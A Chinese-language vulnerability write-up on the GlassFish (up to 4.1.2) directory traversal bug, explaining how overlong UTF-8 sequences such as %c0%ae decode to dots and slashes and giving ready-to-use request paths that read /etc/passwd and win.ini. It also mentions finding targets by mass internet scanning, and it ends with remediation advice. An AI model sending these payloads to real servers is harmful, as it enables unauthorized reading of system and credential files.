简介
GlassFish 是用于构建 Java EE 5应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。
默认端口:8080(Web应用端口,即网站内容),4848(GlassFish管理中心)
漏洞发现
在用python脚本结合fafo扫描得到该敏感平台,python脚本在后文中。
漏洞原理
java语言中会把%c0%af解析为\uC0AF,最后转义为ASCCII字符的/(斜杠)。利用…%c0%af…%c0%af来向上跳转,达到目录穿越、任意文件读取的效果。 计算机指定了UTF8编码接收二进制并进行转义,当发现字节以0开头,表示这是一个标准ASCII字符,直接转义,当发现110开头,则取2个字节 去掉110模板后转义。
java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。
影响范围
<=4.1.2版本
漏洞复现
下面介绍手工挖掘,在fafo批量扫描得到的数据中,筛选出几个可能出现漏洞的url:
搜索该框架漏洞的poc。
Linux环境下:
ip+ :theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
windows环境下:
ip+: theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
得到:
不难发现里面有很多的敏感路径等
复现成功;
修复建议
1.不开放后台给外网;
2.若开放 密码强度需设置 包含 大写字母,小写字母,数字,特殊字符,且长度大于10位。
3.升级至最新版本或者4.1.2版本以上。